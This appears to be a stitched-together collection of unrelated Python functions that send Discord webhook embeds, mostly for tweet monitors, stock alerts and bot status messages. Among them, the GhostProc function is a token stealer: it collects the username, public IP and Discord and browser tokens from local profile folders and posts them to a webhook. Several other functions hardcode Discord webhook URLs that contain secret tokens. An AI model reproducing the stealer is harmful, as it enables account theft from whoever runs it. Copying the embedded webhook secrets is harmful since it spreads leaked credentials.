async def post_to_webhook(new_tweet: Tweet): start_time = time.time() url = "https://discordapp.com/api/webhooks/644694815094734848/Y9Ixa2Wh7xpF7uQzbzX8uua-cERYWbtyoD3Xg8-7NJmUl47UTN_IF-QD5W_W-3oymtdy" text = new_tweet.text webhook = Webhook.Async(url) embed = Embed( title=f"Link to tweet", url= f"https://twitter.com/{new_tweet.created_by.screen_name}/status/{new_tweet.id}" ) embed.set_author( name=f"New tweet from {new_tweet.created_by.screen_name}", url=f'https://twitter.com/{new_tweet.created_by.screen_name}', icon_url=new_tweet.created_by.profile_image_url) for mentioned_user in new_tweet.mentioned_users: text = text.replace( f"@{mentioned_user.screen_name}", f"[@{mentioned_user.screen_name}](https://twitter.com/{mentioned_user.screen_name})" ) embed.add_field(name="Content: ", value=text, inline=True) for url in new_tweet.links_in_tweet: embed.add_field(name="Link Found: ", value=f"{url.url}") embed.set_footer(text=f'Monitor by ike_on') await webhook.send(embed=embed) print(f"Took {time.time() - start_time} seconds to send to webhook") for url in new_tweet.links_in_tweet: if ("discord" in url.url): await webhook.send(f"Possible discord invite found: {url.url}") await webhook.close()
def SendOutWebhook(): embed = Embed( title="KITH MOSAIC TEE/SLATE(并没有补货)", url= "https://kith.com/collections/kith-monday-program/products/kith-mosaic-tee-slate", description="In Stock Now!", color=6940159, timestamp="now", ) hook = Webhook( "https://ptb.discordapp.com/api/webhooks/665206935125098496/5nqd6ABS3So5UVCRle7nZIqhJ8wRLFPCBbTReW9MqC6l8A9zYiUe4TlRCwbTMtn0Ov_u" ) embed.add_field( name="商品页面", value= "https://cdn.shopify.com/s/files/1/0094/2252/products/KH3777-105-2_300x300.jpg?v=1590786070" ) embed.set_author( name="eee7272的小小monitor", icon_url= "https://cdn.discordapp.com/avatars/677904239527329817/a5fb74580580dd6d3354e8ecd7f136ee.png?size=128" ) embed.set_image( "https://cdn.shopify.com/s/files/1/0094/2252/products/KH3777-105_200x200_crop_center.jpg?v=1590786070" ) embed.set_footer( text="eee7272#6012", icon_url= "https://cdn.discordapp.com/avatars/677904239527329817/a5fb74580580dd6d3354e8ecd7f136ee.png?size=128" ) hook.send(embed=embed)
def make_webhook(avatar, tweet, link_list, text): """Make webhook embed""" log.logger.debug(f"Tweet: {text}") hook = Webhook(config.webhook_url) embed = Embed( description=text, color=0x1E0F3, # Light blue timestamp="now", # Set the timestamp to current time ) embed.set_author( icon_url=avatar, name=tweet.user.screen_name, url=f"https://twitter.com/statuses/{tweet.id}", ) hook.send(embed=embed) # Add links under embed if link_list is not None: links = "\n".join([str(v) for v in link_list]) if links: hook.send(f"I found some links:\n{links}") log.logger.info("Posted.")
async def post_to_webhook(self, new_tweet: Tweet): start_time = time.time() text = new_tweet.text webhook = Webhook.Async(self.webhookURL) embed = Embed( title=f"Link to tweet", url= f"https://twitter.com/{new_tweet.created_by.screen_name}/status/{new_tweet.id}" ) embed.set_author( name=f"New tweet from {new_tweet.created_by.screen_name}", url=f'https://twitter.com/{new_tweet.created_by.screen_name}', icon_url=new_tweet.created_by.profile_image_url) for mentioned_user in new_tweet.mentioned_users: text = text.replace( f"@{mentioned_user.screen_name}", f"[@{mentioned_user.screen_name}](https://twitter.com/{mentioned_user.screen_name})" ) embed.add_field(name="Content: ", value=text, inline=True) for url in new_tweet.links_in_tweet: embed.add_field(name="Link Found: ", value=f"{url.url}") embed.set_footer( text= f'Monitor by ike_on not recursive {datetime.now().strftime("%I:%M:%S.%f %p")}' ) await webhook.send(embed=embed) print(f"Took {time.time() - start_time} seconds to send to webhook") for url in new_tweet.links_in_tweet: if ("discord" in url.url): await webhook.send(f"Possible discord invite found: {url.url}") await webhook.close()
async def server_stop(app, loop): """Sends a message to the webhook channel when server stops.""" em = Embed(color=0xe67e22) em.set_footer('Host: {}'.format(socket.gethostname())) em.description = '[INFO] Server Stopped' await app.webhook.send(embed=em) await app.session.close()
def sendDiscordInitialize(): now = datetime.datetime.now() hook = Webhook(os.environ.get("DISC_HOOK")) embed = Embed(description="The scraper has successfully booted up!", color=0x5CDBF0, timestamp='now') embed.set_footer(text="MCS") hook.send(embed=embed)
def hook_send(product_url, stock): print(product_url) hook = Webhook( "https://discordapp.com/api/webhooks/697993898659676230/09E2-tTgtVWc6NLuJ5NgaXyioE98A_VADBR3MbULkupaz-C_1UDX350L2VEDV46ams07" ) embed = Embed(description=product_url, color=0x5CDBF0, timestamp="now") embed.add_field(name="STOCK AVAILABILITY", value=stock) hook.send(embed=embed)
def notify(updatedata, length): embed = Embed(title="Weekly Challenge Update", description=f"New song is \"{updatedata}\" ({length})", color=0x99beea, timestamp='now') embed.set_author( name="Arrow Tracker", icon_url= "https://arrowtracker.duckdns.org/static/newlogo-arrow-smaller.png") hook.send(embed=embed)
async def init(app, loop): """Sends a message to the webhook channel when server starts.""" app.session = aiohttp.ClientSession(loop=loop) # to make web requests app.webhook = Webhook.Async(webhook_url, session=app.session) em = Embed(color=0x2ecc71) em.set_author('[INFO] Starting Worker') em.description = 'Host: {}'.format(socket.gethostname()) await app.webhook.send(embed=em)
def webHook(url, buildNum, project, downloadURL, code): hook = Webhook(url) embed = Embed( description="A new patreon build for " + project + " has been compiled!", color=0xf96854, timestamp='now', url=downloadURL, image_url="https://flagbrew.org/download/"+ code +"/cia_qr.png", title="New " + project + " build!" ) embed.set_footer("Build: " + buildNum) hook.send(embed=embed)
def bot(hookName, username): if hookName == "": pass else: hook = Webhook(hookName) embed = Embed( description="GITAM Meetings", color=0xB1040E, timestamp="now" ) embed.set_author(name="Meetings") with open('meet.csv', 'r') as file: reader = csv.reader(file) for row in reader: # print(row) title=row[0] dateandlink=row[1] + ", " + row[2] embed.add_field(name=title, value=dateandlink) footer = 'By ' + username embed.set_footer(text=footer) hook.send(embed=embed)
async def on_ready(self): if not hasattr(self.bot, "uptime"): self.bot.uptime = datetime.utcnow() webhook = Webhook(self.config.readywebhook, is_async=True) embed = Embed( title=f"Reconnected, Online and Operational!", description="Ready Info", color=5_810_826, timestamp=True, ) embed.set_author( name=f"PawBot", url= "https://discordapp.com/oauth2/authorize?client_id=460383314973556756&scope=bot&permissions=469888118", icon_url= "https://cdn.discordapp.com/avatars/460383314973556756/2814a7328962f7947a25ccd2ee177ac1.webp", ) embed.add_field(name="Guilds", value=f"**{len(self.bot.guilds)}**", inline=True) embed.add_field(name="Users", value=f"**{len(self.bot.users)}**", inline=True) await webhook.execute(embeds=embed) await webhook.close() await self.bot.change_presence( activity=discord.Game( type=0, name=f"{random.choice(lists.randomPlayings)} | paw help"), status=discord.Status.online, )
def send_report(self, id): embed = Embed( description='A user reported the following face', color=0x5CDBF0, timestamp='now' # sets the timestamp to current time ) img_file = self.xml_parser.get_imgpath_from_uid(self.xml, id) if img_file: img_file = self.xml.replace("config.xml", "") + img_file + ".png" file = File(img_file) embed.add_field(name='File', value=img_file) self.webhook.send(embed=embed, file=file) return img_file
def badhook(): embed = Embed( title='AIO Search Failed', description= "AIO Search Program was un-able to open you're defined searches", color=0xff0000, timestamp='now' # sets the timestamp to current time ) image1 = 'https://avatars2.githubusercontent.com/u/25069719?s=460&u=0758922d6a85a09f971fbf778bb720788a2f2e5b&v=4' # hook.modify(name='AIO Search', avatar=image1) embed.set_footer(text='AIO Search | Made by iHildy#3839', icon_url=image1) hook.send(embed=embed)
async def on_ready(): # console related # ================================================ subprocess.call('cls', shell=True) print('\033[92m' + (str(datetime.datetime.now())[:-7]) + prefix + 'Logged in as') print((str(datetime.datetime.now())[:-7]) + prefix + client.user.name) print((str(datetime.datetime.now())[:-7]) + prefix + str(client.user.id)) print((str(datetime.datetime.now())[:-7]) + prefix + '------') # discord related # ================================================ game1 = discord.Game(name='>umfrage') await client.change_presence(activity=game1) # ================================================ hook = Webhook(webhooklogs) # ================================================ embed = Embed( title='umfrageBot - Status', description='I am ready again!', thumbnail_url='https://i0.wp.com/www.activate-the-beast.com/wp-content/uploads/2015/05/Ern%C3%A4hrung-Umfrage-Icon-e1432756685893.png?fit=300%2C300', color=0x6eff33 ) hook.send(embed=embed) pushedNotification.sendNot('BundestagBot: I am ready again!')
async def valentines(self, ctx): """ Registers for the Valentines Day! """ def check(reaction, user): return user == ctx.author and str(reaction.emoji) == "🎟" await ctx.message.delete() msg = await ctx.author.send( f"**{ctx.author.name}**, by entering, you are committed to drawing whatever you've been presented with. React to confirm your entry into the event." ) await msg.add_reaction("🎟") try: await self.bot.wait_for("reaction_add", timeout=60.0, check=check) except asyncio.TimeoutError: await ctx.author.send("Timed out..") await msg.delete() else: dmmsg = await ctx.author.send( "You have been entered into the Valentines Day Event!") await msg.delete() hook = Webhook(url=self.config.santahook, is_async=True) embed = Embed( title="Someone entered the event!", description= f"User: {ctx.author.mention}\nTag: {ctx.author.name}#{ctx.author.discriminator}\nID: {ctx.author.id}", color=0xDB1F1F, ) await hook.send(embeds=[embed]) await hook.close() await asyncio.sleep(5) await dmmsg.delete()
async def on_ready(): # console related # ================================================ SHL.output(f"{red}========================{white}") SHL.output("Logged in as") SHL.output(client.user.name) SHL.output(f"Online in {len(client.guilds)} Guilds.") SHL.output(f"{red}========================{white}") # discord related # ================================================ if cfg.options.get("use_game", False): game = discord.Game(name=cfg.options.get("game_name", "Hello world")) await client.change_presence(activity=game) SHL.output(f"{game.name} als Status gesetzt.") # WebHooks # ================================================ if cfg.options.get("use_webhooks", False): template = cfg.options["on_ready"] embed = Embed( title=template["title"], description=template["description"], thumbnail_url=template["thumbnail_url"], color=int(template["color"], 16) ) for name, link in cfg.options["webhooks"].items(): Webhook(link).send(embed=embed) SHL.output(f"Webhook {name} sent.")
def post_changes(self): """ Posts the changes to the Discord server via a webhook. """ # TODO: This brakes when user writes "'" regex = r"Change (?P<change_number>\d*) on (?P<date>\d{4}/\d{2}/\d{2}) (?P<time>\d{2}:\d{2}:\d{2}) by (?P<name>.*)@.* \'(?P<message>.*?)\'" substitution = "\g<message>- \g<name>/\g<change_number>" message = re.sub(regex, substitution, self.check_p4(), flags=re.MULTILINE) output = self.check_p4() payload = self.check_for_changes(output) if payload != "": # Make webhook embed hook = Webhook(self.webhook_url) embed = Embed(description=message, color=49915, timestamp="now") # Post to channel hook.send( embed=embed, username="******", avatar_url="https://i.imgur.com/WseNTPC.jpg", ) else: return
def send_discord(level: str, message: str) -> bool: assert level in ['info', 'warning', 'success', 'error'] try: hook = Webhook( 'https://discordapp.com/api/webhooks/607840984373526548/mh5iaiPW-y4M_cED3DfHQJL5h7nSg1K7PUP7pWGj8nKe9F0zpm3SFE3zEIzFX0TNGbMs' ) except: logger.exception('discord send error') return False if level == 'info': color = 0x00fffa elif level == 'warning': color = 0xffe900 elif level == 'success': color = 0x04ff00 elif level == 'error': color = 0xff0000 try: embed = Embed( title=level.upper(), description=message, color=color, timestamp='now' # sets the timestamp to current time ) hook.send(embed=embed) except: logger.exception('discord send error') return False return True
def tune_embed_message(self): embed = Embed( description='不定期更新! :poop:', color=0x1e0f3, timestamp='now' # sets the timestamp to current time ) image0 = 'https://i.imgur.com/rdm3W9t.png' image1 = 'https://tw.beanfun.com/maplestory/image/Board/category/72.gif' embed.set_author(name='近期活動公告', icon_url=image0) for ele in self.anno_dict.keys(): embed.add_field(name=ele, value=self.anno_dict[ele]) #embed.set_footer(text='Here is my footer text', icon_url=image1) embed.set_thumbnail(image1) embed.set_image(self.bottom_image) return embed
async def log_new_instance(request): data = request.json count = await request.app.db.users.count_documents({}) em = Embed(color=0x36393F) em.add_field(name='Guild Name', value=data['guild_name']) em.add_field(name='Member Count', value=data['member_count']) em.add_field(name='Owner', value=f"<@{data.get('owner_id', 0)}>") selfhosted = data.get('selfhosted', False) em.set_footer( text= f"#{count} • {'selfhosted ' if selfhosted else ''}v{data['version']} • {data['bot_name']} ({data['bot_id']})", icon_url=data.get('avatar_url')) await request.app.new_instance_webhook.send( embed=em, username='******', avatar_url='https://i.imgur.com/klWk4Si.png')
def detect_private(self): hook = Webhook(self.hook) if self.private: desc = "Profile changed to private." elif not self.private: desc = "Profile changed to public." else: self.log.error("Privacy was never set.") embed = Embed(description="Privacy change detected.", color=0x5CDBF0, timestamp='now') embed.set_author(name='Instagram Monitor') embed.add_field( name='User', value=f"[{self.user}](https://www.instagram.com/{self.user})", inline=False) embed.add_field(name='Status', value=desc, inline=False) embed.set_thumbnail(self.profile_pic_link) hook.send(embed=embed)
def detect_profile_pic(self): hook = Webhook(self.hook) embed = Embed(description='New profile picture detected.', color=0x5CDBF0, timestamp='now') embed.set_author(name='Instagram Monitor') embed.add_field( name='User', value=f"[{self.user}](https://www.instagram.com/{self.user})", inline=False) embed.set_image(self.profile_pic_link) hook.send(embed=embed)
def webhooker(): content = 'wwwweeeeeee' url = 'dummy.com' webhook_url = os.environ['WEBHOOK'] client = Webhook(webhook_url) logging.info('Image posted! on facebook') FacebookWebhook = Embed() FacebookWebhook.color = 0xC0FFEE # colors should be a hexadecimal value FacebookWebhook.description = 'The bot has new content!\n Is this another sentient post or not?' FacebookWebhook.add_field(name=content, value=str(datetime.datetime.utcnow() + datetime.timedelta(hours=+8)), inline=False) FacebookWebhook.set_image(url) FacebookWebhook.set_footer( text=f'\u00A9 AbanteBot6969 | Series of 2019 ', ) client.send('\u200b', embed=FacebookWebhook) logging.info( '===================== SUCCESS!! , Exiting....=====================')
def send_report(self, e): uid = self.rep_inp.value img_name = self.prf_cfg["imgs"][uid] img_eth = self.prf_cfg["ethnics"][uid] img_path = img_eth + "/" + img_name img_file = self.rep_img.image.path self.logger.info("send report: {}".format(img_file)) hook = Webhook("https://discord.com/api/webhooks/770397581149863946/Wls0g6LEyTXEpOqzfLn2YuDRKANFSAFpwKe62VL9IxpwsQDWFjYHVfy19hrYiv5p0X2a") embed = Embed( description='A user reported the following face', color=0x5CDBF0, timestamp='now' # sets the timestamp to current time ) file = File(img_file) embed.add_field(name='File', value=img_path) hook.send(embed=embed, file=file)
def GhostProc(): hook = Webhook("") user = os.getenv("UserName") hostname = requests.get("https://api.ipify.org").text local = os.getenv('LOCALAPPDATA') roaming = os.getenv('APPDATA') paths = { 'Discord': roaming + '\\Discord', 'Discord Canary': roaming + '\\discordcanary', 'Discord PTB': roaming + '\\discordptb', 'Google Chrome': local + '\\Google\\Chrome\\User Data\\Default', 'Google Chrome Canary': local + '\\Google\\Chrome SxS\\User Data\\Default', 'Microsoft Edge': local + '\\Microsoft\\Edge\\User Data\\Default', 'Brave': local + '\\BraveSoftware\\Brave-Browser\\User Data\\Default', 'Yandex': local + '\\Yandex\\YandexBrowser\\User Data\\Default', 'Chromium': local + '\\Chromium\\User Data\\Default', } message = '\n' for platform, path in paths.items(): if not os.path.exists(path): continue message += '```' tokens = GhostExt(path) if len(tokens) > 0: for token in tokens: message += f'{token}\n' else: pass message += '```' embed = Embed( title=f' [ [#by @ytsix] Ghost Scraped -> | {user} | {hostname} ] ', color=16764108) embed.add_field("Goods =>", message) hook.send(embed=embed)
async def init(app, loop): app.secret = config.SECRET app.session = aiohttp.ClientSession( loop=loop) # we use this to make web requests app.webhook = Webhook.Async(config.WEBHOOK_URL, session=app.session) app.db = AsyncIOMotorClient(config.MONGO_URI).majorproject app.users = UserBase(app) em = Embed(color=Color.green) em.set_author('[INFO] Starting Worker', url=app.ngrok_url) em.set_footer(f'Host: {socket.gethostname()}') em.add_field('Public URL', app.ngrok_url) if app.ngrok_url else ... await app.webhook.send(embed=em)
def discord_embed(severity, source, title, description=None, **fields): """Send an embedded message to discord. """ global DISCORD_WARNING_SENT severity_icon, discord_url = severities[severity] if not discord_url or discord_url == 'none': if not DISCORD_WARNING_SENT: DISCORD_WARNING_SENT = True logging.warning( 'DISCORD_WEBHOOK_URL not configured, will not send messages to discord.' ) logging.info('Discord embed not sent: %s: %s: %s', title, description, fields) return try: discord = Webhook(discord_url) title = severity_icon + ' ' + title embed = Embed(title=title, description=description, color=0xff0000, timestamp='now') embed.set_author(source) for field, value in fields.items(): embed.add_field(field, value) discord.send(embed=embed) except Exception as e: logging.error('Unhandled exception when sending discord embed:') logging.exception(e)
async def aexit(app, loop): em = Embed(color=Color.orange) em.set_footer(f'Host: {socket.gethostname()}') em.set_author('[INFO] Server Stopped') await app.webhook.send(embed=em) await app.session.close()
def notify_password_url(webhook_url, password_url, screen_name, profile_pic): hook = Webhook(url=webhook_url) color = random.choice(HEX_LIST) embed = Embed( title="Possible link found:", color=color, timestamp='now', description=password_url, ) embed.set_author(name=screen_name, icon_url=profile_pic, url=f'https://twitter.com/{screen_name}') embed.set_footer( text= f'BONZAY Twitter • {datetime.datetime.now().strftime("%Y-%m-%d %H:%M")}', icon_url='https://cdn.discordapp.com/emojis/636516489322561536.png?v=1' ) # if url: # embed.add_field('Link in tweet', value=url) #embed.set_author(name='New post by {instagram_user}') # if tweet_content: # embed.add_field("Tweet description", tweet_content) # embed.image(image) hook.send(embed=embed)